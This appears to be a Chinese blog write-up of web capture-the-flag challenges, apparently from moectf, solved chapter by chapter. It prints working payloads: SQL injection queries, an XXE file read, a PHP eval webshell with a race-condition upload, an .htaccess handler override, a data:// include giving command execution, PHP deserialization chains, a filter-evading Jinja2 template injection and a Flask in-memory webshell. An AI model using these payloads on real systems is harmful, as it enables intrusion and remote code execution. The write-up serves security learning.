青岑CTFWEB修仙篇(持续更新ing)

张开发
2026/5/6 15:16:26 15 分钟阅读
青岑CTFWEB修仙篇(持续更新ing)
题目是moectf25的好像是无限进步01 第一章 神秘的手镯附件里面好像就是口令但是不让复制查看源码有一个input的比较而且input就是document.getElementById(passwordInput).value;所以我们直接document.getElementById(passwordInput).value“把内容复制进来”就得到flag01 第一章 神秘的手镯_revenge常见的“备份”破阵路数最经典的.bak优先尝试直接访问/wanyanzhou.txt.bak(很多时候管理员随手复制备份就会加上这个后缀)Vim 编辑器异常退出的.swp泄露直接访问/.wanyanzhou.txt.swp(注意.swp文件在 Linux 中默认是隐藏文件所以文件名前面通常要加一个点.)Linux 编辑器如 gedit的波浪号备份直接访问/wanyanzhou.txt~其他人工备份习惯直接访问/wanyanzhou.txt.old或/wanyanzhou.bak在wanyanzhou.txt.bak中下载删除index里面的监听发送500次得到flag02 第二章 初识金曦玄轨然后复制路径抓包在response得到flag03 第三章 问剑石篡天改命根据题目描述更改为S还有那个光芒就ok04 第四章 金曦破禁与七绝傀儡阵获得bW9lY3Rme0Mw获得bjZyNDd1MTQ3把xff改成127.0.0.1获得玉简碎片: MTBuNV95MHVy更改ua获得玉简碎片: X2g3N1BfbDN2改变cookie获得玉简碎片: M2xfMTVfcjM0改变referer获得玉简碎片: bGx5X2gxOWghget改成put在最下面写上新生获得玉简碎片: fQ05 第五章 打上门来06 第六章 藏经禁制玄机初探07 第七章 灵蛛探穴与阴阳双生符get传入两个值不相等但是md5值相等08 第八章 天衍真言星图显圣密码随便填当列数为3的时候报错得到数据库为user-admin union select group_concat(table_name) ,2 from information_schema.tables where table_schemauser#-admin union select group_concat(column_name) ,2 from information_schema.columns where table_nameflag#-admin union select group_concat(value) ,2 from flag#09 第九章 星墟禁制·天机问路我们先推演一下flag.com发现根目录下没有那我们尝试在环境中寻找得到flag10 第十章 天机符阵_revengeflag在flag.txt里面考点是XXE (XML External Entity InjectionXML 外部实体注入) 漏洞输入框输入flag.txt并提交后系统返回了报错Warning: DOMDocument::loadXML(): Start tag expected, not found...这个报错非常关键。它暴露了后端正在使用 PHP 的DOMDocument::loadXML()函数来解析你输入的内容。因为你只输入了普通字符串flag.txt而不是合法的XML 格式所以解析器找不到 XML 的起始标签从而报错。根据报错信息中的路径/var/www/html/chapter10.php我们可以推断网站的根目录是/var/www/html/所以flag.txt的绝对路径很可能是/var/www/html/flag.txt或者直接用相对路径。?xml version1.0 encodingutf-8? !DOCTYPE ANY [ !ENTITY xxe SYSTEM file:///flag.txt ] ANY 阵枢引魂玉/阵枢 解析xxe;/解析 输出xxe;/输出 /ANY得到flag10 第十章 天机符阵扫描目录发现11 第十一章 千机变·破妄之眼我们用bp去碰撞吧找到之后把他放出去我们注意到目录出现了file直接伪协议抬走得到flag12 第十二章 玉魄玄关·破妄在 PHP 语法中system()函数括号里的系统命令必须是字符串格式。你直接写ls /PHP 引擎会把它当作未定义的常量和数学除号直接抛出语法错误。在蚁剑连接之后在虚拟终端中直接set看到环境就okenv也可以13 第十三章 通幽关·灵纹诡影上传PHP一句话木马图片上传的时候抓包改变后缀为php14 第十四章 御神关·补天玉碑Apache 的这个特殊文件就是大名鼎鼎的.htaccess分布式配置文件。FilesMatch yiju.jpg SetHandler application/x-httpd-php /FilesMatch这次在环境下了注意Apache 服务器只认名为.htaccess注意开头的小圆点且前面没有任何字符的文件。如果你上传的是1.htaccessApache 会直接无视它。15 第十五章 归真关·竞时净魔把握时机我想到了条件竞争漏洞我们先抓取上传的包注意要把文件后缀名改成php要不然没法执行代码代码逐层拆解这段简短的代码由三个核心的 PHP 函数部分组成fopen(shell_survivor.php, w)作用在服务器的当前目录下打开一个名为shell_survivor.php的文件。w模式写入模式Write。它的特性是如果目录下没有这个文件PHP 会立刻创建它如果已经有同名文件会清空原有内容。?php eval($_POST[cmd]);?作用这是纯字符串也就是你要写入新文件里的内容。它是一个最基础、最经典的 PHP 一句话木马。错误控制符用于隐藏可能产生的报错信息防止被管理员发现。eval()危险函数它会将括号里的内容当作真正的 PHP 代码来执行。$_POST[cmd]接收外界通过 HTTP POST 请求传来的名为cmd的参数。fputs(文件指针, 写入内容)作用它是 PHP 中fwrite()函数的别名。它负责将第二部分的那串“一句话木马”字符串真正写入到第一部分打开的shell_survivor.php文件中。再抓取访问地址的包,也要改成php都设置成这样上传的要比访问的低访问的设置更快然后开始攻击看到有成功访问的了用蚁剑连接可以看到连接成功了16 第十六章 昆仑星途include($_GET[file] . .php);代码接收file参数并拼接.php后缀进行包含。这是一个典型的文件包含漏洞。php.ini(关键配置):allow_url_include On题目特意自定义了php.ini将allow_url_include设置为了On。这意味着include函数不仅可以包含本地文件还可以包含 URL 形式的数据如data://或php://input伪协议。这直接将 LFI本地文件包含升级成了 RCE远程代码执行。entrypoint.sh(Flag 位置):echo $FLAG /flag-$(cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 30).txt脚本在启动时将环境变量中的 FLAG 写入了根目录下文件名格式为/flag-加上30位随机字符.txt。既然允许使用 URL 包含我们可以使用data://伪协议直接输入我们要执行的 PHP 代码。我们要执行的目的是读取根目录下的 flag 文件。因为文件名有随机字符串最简单的方法是直接使用 Linux 的通配符*?php system(cat /flag-*); ??filedata://text/plain,?php system(cat /flag-*); ?得到flag防止绕过我们也可以url编码详细讲解1. 为什么不用普通的文件名漏洞核心include 函数在index.php中核心代码是include($_GET[file] . .php);正常用法开发者本来是想让你输入?fileabout然后服务器拼接成about.php把关于页面的内容加载出来。危险之处include函数在 PHP 中有一个特性——如果它包含的文件里有?php ... ?标签PHP 就会把里面的内容当成代码去执行。如果只能包含本地文件我们很难做点什么。但这里出现了第一个神助攻。2. 为什么要加data://text/plain,神助攻allow_url_include在php.ini截图中有一个致命的配置allow_url_include On正常情况下Offinclude只能老老实实去硬盘里找文件。一旦变成Oninclude就可以使用PHP 伪协议。data://就是一种非常好用的伪协议。它的大白话意思是告诉服务器“你不要去硬盘里找文件了文件内容我已经准备好了就在逗号的后面它是一段纯文本text/plain。”这就相当于我们通过 URL 直接在服务器上“凭空捏造”了一个包含恶意代码的文件并让服务器加载了它。3. 为什么要写system(cat /flag-*);达成目的现在我们有了执行任意 PHP 代码的能力写在逗号后面那我们要执行什么代码呢这就要看entrypoint.sh的截图了。截图中显示Flag 被写入了根目录下名字大概长这样/flag-a1b2c3d4e5...txt后面有30个随机字符。system()这是 PHP 的一个内置函数它的作用是执行底层的 Linux 操作系统命令。我们通过它从 PHP 层面跳到了服务器的系统层面。cat这是 Linux 系统中用来查看文件内容的命令。/flag-*因为我们不知道那 30 个随机字符是什么所以使用了星号*这个通配符。在 Linux 中/flag-*的意思就是“匹配根目录下所有以flag-开头的文件”。4. 最后的.php后缀怎么办你可能会问index.php里面不是还会自动加上.php后缀吗那我们传进去的东西最后拼接出来不是变成了这样吗include(data://text/plain,?php system(cat /flag-*); ?.php);这会不会报错答案是不会这也是 PHP 的一个特性。当 PHP 解析引擎遇到包含的内容时它只会去执行被?php和?包裹起来的部分。至于标签外面的东西也就是尾巴上的那个.phpPHP 会把它当成普通的 HTML 文本直接打印在屏幕上完全不会干扰内部代码的执行。总结一下整个攻击过程就像是在骗服务器 你对服务器说“请把data://...这个文件包含进来。” 服务器去包含时发现里面有 PHP 代码于是执行了操作系统的命令找到了那个随机名字的 Flag 文件并读取出来显示在了你的屏幕上。17 第十七章 星骸迷阵·神念重构PHP 反序列化漏洞PHP Unserialize Vulnerability?php class A{ public $a system(ls /);; } $str new A(); echo serialize($str); ?然后读取flag就行了18 第十八章 万卷诡阁·功法连环所谓 POP 链Property-Oriented Programming就是利用一系列类属性的修改触发原本看似无害的“魔术方法”最终导向危险函数如eval。1. 触发点 (Source):unserialize($_GET[person])这是漏洞的入口。程序接收用户传入的字符串并尝试将其还原为对象。2. 跳板 (Gadget):PersonA::__wakeup()特性当unserialize()执行时如果对象属于PersonA类PHP 会自动调用其__wakeup()方法。作用它执行了$name-work()。这意味着如果我们将PersonA的属性$name设置为另一个拥有work()方法的对象就能控制程序的执行流。3. 终点 (Sink):PersonB::work()特性这个类恰好有一个work()方法。逻辑它执行了eval($this-name)。危险性eval()会将字符串作为 PHP 代码执行。如果我们可以控制PersonB的$name属性就能实现远程代码执行 (RCE)。?php class PersonA { private $name; function __construct($obj) { $this-name $obj; } } class PersonB { public $name; } $b new PersonB(); $b-name system(ls /);; $a new PersonA($b); echo urlencode(serialize($a));修改代码读取flag进行URL 编码urlencode的原因主要有两个处理不可见字符和确保HTTP 传输的安全。对于 PHP 反序列化来说最根本的原因在于处理private私有和protected受保护属性产生的空字节Null Bytes。19 第十九章 星穹真相·补天归源首先我们要弄清楚每个类和方法在什么时候被触发Person(基类):__invoke($id): 当对象被当作函数调用时例如$obj()触发。它会修改$this-id对象的属性。PersonA(继承自Person):__destruct(): 当对象被销毁脚本结束时自动触发。关键逻辑:$name-$id($age);—— 这是一个动态方法调用。如果$name是一个对象$id是一个字符串它就会调用该对象的对应方法。PersonB(继承自Person):__set($key, $value): 当给不可访问或不存在的属性赋值时触发。PersonC(继承自Person):__Check($age): 这是一个普通方法虽然名字以__开头。危险逻辑:$name $this-name; $name($age);—— 如果$name是字符串system这里就变成了system($age)从而导致RCE。防御逻辑:if(str_contains(... flag))。如果参数里包含 flag 字符串程序会直接终止。__wakeup(): 反序列化时自动触发。我们的目标是执行PersonC中的$name($age)即system(命令)。第一步确定终点 (Sink)在PersonC-__Check中如果$this-name system那么$name($age)就是system($age)。第二步如何触发__Check观察PersonA-__destruct它有一行$name-$id($age)。如果我们让PersonA的$name属性是一个PersonC对象。让PersonA的$id属性是字符串__Check。让PersonA的$age属性是我们要执行的命令。那么当PersonA销毁时就会自动执行PersonC-__Check(命令)。第三步绕过 flag 过滤PersonC-__Check会检查$this-age . $this-name是否包含 flag。绕过技巧在 Linux 命令中我们可以使用通配符。例如想读flag文件可以写成cat /f*或者cat /fla?。这样字符串里就不包含 flag 关键字了。?php class Person { public $name; public $id; public $age; } class PersonA extends Person { } class PersonB extends Person { } class PersonC extends Person { } $c new PersonC(); $c-name system; $a new PersonA(); $a-name $c; $a-age ls /; $a-id __Check; echo serialize($a);之后再读取flag?php class Person { public $name; public $id; public $age; } class PersonA extends Person { } class PersonB extends Person { } class PersonC extends Person { } $c new PersonC(); $c-name system; $a new PersonA(); $a-name $c; $a-age cat /fla*; $a-id __Check; echo serialize($a);19 第十九章_revengePHP 中有多个可以执行命令并返回结果的函数我们可以换一个不在黑名单里的passthru直接将结果输出到浏览器。exec执行命令但只返回最后一行。shell_exec执行命令并返回完整输出。popen/proc_open更底层但构造起来较复杂。?php class Person { public $name; public $id; public $age; } class PersonA extends Person { } class PersonB extends Person { } class PersonC extends Person { } $c new PersonC(); $c-name shell_exec; $a new PersonA(); $a-name $c; $a-id check; $a-age ls /; echo serialize($a);第一步找终点危险函数在哪毫无疑问终点在PersonC的check($age)方法里PHPvar_dump($name($age)); // 等同于执行函数名(参数)要求 1PersonC的$name属性不能是system我们可以换成passthru。要求 2参数$age就是我们要执行的命令比如ls /。第二步找跳板谁能调用check()我们在所有的魔术方法里寻找看谁能发起方法调用。 看PersonA的析构函数__destruct()PHPpublic function __destruct() { $name $this-name; $id $this-id; $name-$id($this-age); // 这里发起了动态方法调用 }完美契合只要我们这样设置PersonA把PersonA的$name设置为一个PersonC的对象。把PersonA的$id设置为字符串check。把PersonA的$age设置为字符串ls /我们要执行的命令。那么PersonA销毁时就会执行$PersonC_Object-check(ls /);。第三步看起点起点就是unserialize($_GET[person]);。这意味着我们只需要把配置好的PersonA对象序列化传进去就可以了。那我们尝试看环境里面有没有得到flag20 第二十章 幽冥血海·幻语心魔SSTI全称是Server-Side Template Injection中文翻译为服务端模板注入21 第二十一章 往生漩涡·言灵死局过滤了下划线和 global 左右花括号第一步突破{{和}}的封锁在 Jinja2 引擎中执行代码并输出结果通常用{{ 代码 }}。既然出题人把{{和}}禁用了我们就必须换一种语法。替代方案使用{% print ... %}{% ... %}原本是用来写if判断或者for循环这类控制语句的。但在较新版本的 Jinja2 中支持用{% print(变量) %}或者{% print 变量 %}的方式强行输出结果。这样我们就完美避开了双花括号的检查。第二步为什么需要|attr()在 Python 里我们要顺藤摸瓜找模块通常是用点号lipsum.__globals__。 但是点号后面的属性名必须是明文的。一旦你写出__globals__里面的下划线_和global就会被出题人的黑名单逮个正着。替代方案使用 Jinja2 的内置过滤器attrattr的作用是获取对象的属性。lipsum.__globals__和lipsum|attr(__globals__)在 Jinja2 里是完全等价的区别在于使用attr()时里面传入的是一个字符串。只要是字符串我们就可以对它进行“化妆”编码让防火墙认不出它但服务器后端依然能解开它。第三步核心魔法——Unicode 编码绕过黑名单是在“字面”上检查你有没有输入_和global。 在计算机里所有的字符都有对应的十六进制编号。比如_的 Unicode 编号是5f我们可以写成\u005fg的 Unicode 编号是67我们可以写成\u0067这就是信息差打击当你把__globals__写成\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f时出题人的防御脚本扫了一眼没有下划线没有 global 这几个字母连在一起放行但是当这串字符进入到 Jinja2 模板引擎内部执行attr(...)时Python 底层会自动把\u005f翻译回_。你的恶意代码就这样“偷渡”进去了。{%print lipsum |attr(\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f) |attr(\u0067\u0065\u0074)(os) |attr(\u0070\u006f\u0070\u0065\u006e)(nl /f*) |attr(\u0072\u0065\u0061\u0064)()%}22 第二十二章 血海核心·千年手段Flask 内存马Memory WebShellPayload{{ url_for.__globals__[__builtins__][eval]( app.after_request_funcs.setdefault(None, []).append( lambda resp: CmdResp if request.args.get(cmd) and exec(\global CmdResp;CmdResp__import__(flask).make_response(__import__(os).popen(request.args.get(cmd)).read())\)None else resp ), { request: url_for.__globals__[request], app: get_flashed_messages.__globals__[current_app] } ) }}发现有flag但是我们取不出来1.la是什么意思严格来说它是-la。这是 Linux 系统中最常用的查看文件列表命令的参数组合ls(list)列出当前目录下的文件和文件夹。-l(long)以“长格式”输出。如果不加-l系统只会干巴巴地返回文件名比如只显示app.py templates。加上-l后会显示文件的权限、所有者、大小、修改时间等详细信息。-a(all)显示“所有”文件包括隐藏文件。在 Linux 中以点.开头的文件或文件夹默认是隐藏的比如.bashrc或者当前目录.和上级目录..。所以ls -la的意思就是毫无保留地把当前目录下所有文件包括隐藏的的详细信息全部列出来。从左到右它分别代表-rwxrwxrwx文件权限第一个字符-表示这是一个普通文件如果是d就表示 directory 文件夹比如前两行的drwxrwxrwx。后面的rwx分别代表r(Read可读)、w(Write可写)、x(eXecute可执行)。它分了三组rwx分别代表文件所有者的权限、同组用户的权限、其他用户的权限。这里的rwxrwxrwx是最高权限也就是常说的 777 权限任何人都可以对它进行读写执行。1硬链接数通常不用太管代表有多少个途径可以访问到这个文件。root root所有者和用户组说明这个文件是系统最高管理员root创建的归属于root用户组。1118文件大小这个文件的大小是 1118 字节Bytes。Mar 24 07:05最后修改时间文件在 3月24日 早上7:05 被最后修改过。app.py文件名这就是具体的文件名了。之后我们就要去提权了然后我就不会了啊难过了有没有大佬jjw后面学会了我就继续更了持续更新ing加油吧各位共同进步

更多文章